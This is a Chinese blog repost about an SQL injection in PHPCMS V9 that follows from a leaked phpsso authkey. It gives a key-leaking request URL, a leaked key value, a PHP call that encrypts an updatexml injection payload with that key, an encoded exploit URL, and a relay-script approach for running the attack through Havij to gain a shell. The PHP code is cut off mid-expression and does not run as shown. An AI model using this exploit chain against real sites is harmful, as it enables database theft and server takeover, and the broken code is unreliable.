phpcmsv9 authkey泄露导致SQL注入漏洞

好久没有关注phpcms了，最近老是有朋友问我关于phpcms的问题，网上找了一下，目前问题比较严重的就是这个authkey泄露导致sql注入拿shell的了，先转些介绍文章吧，exp稍候写出来了再发，请及时关注本人博客。。。

首先请看乌云上面的大牛分析的文章：

WooYun: PHPCMS V9 一个为所欲为的漏洞

http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

使用authkey加密payload:

 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}
echo sys_auth("action=synlogin&uid=1' and updatexml(1,concat('~',user()),1)#", 'ENCODE', '0tagvqnxuq1x8x4jvaziib7yx4e9ibnl');

http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

看到有人说是phpcms authkey 无法注入。于是噌噌噌的搞了一个中转的脚本

 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}
?>

使用的办法就是填写目标的www还有key。然后丢到havij里面跑就好了

原文地址：http://0cx.cc/phpcms_phpsso_auth_key.jspx

from www.waitalone.cn.thanks for it.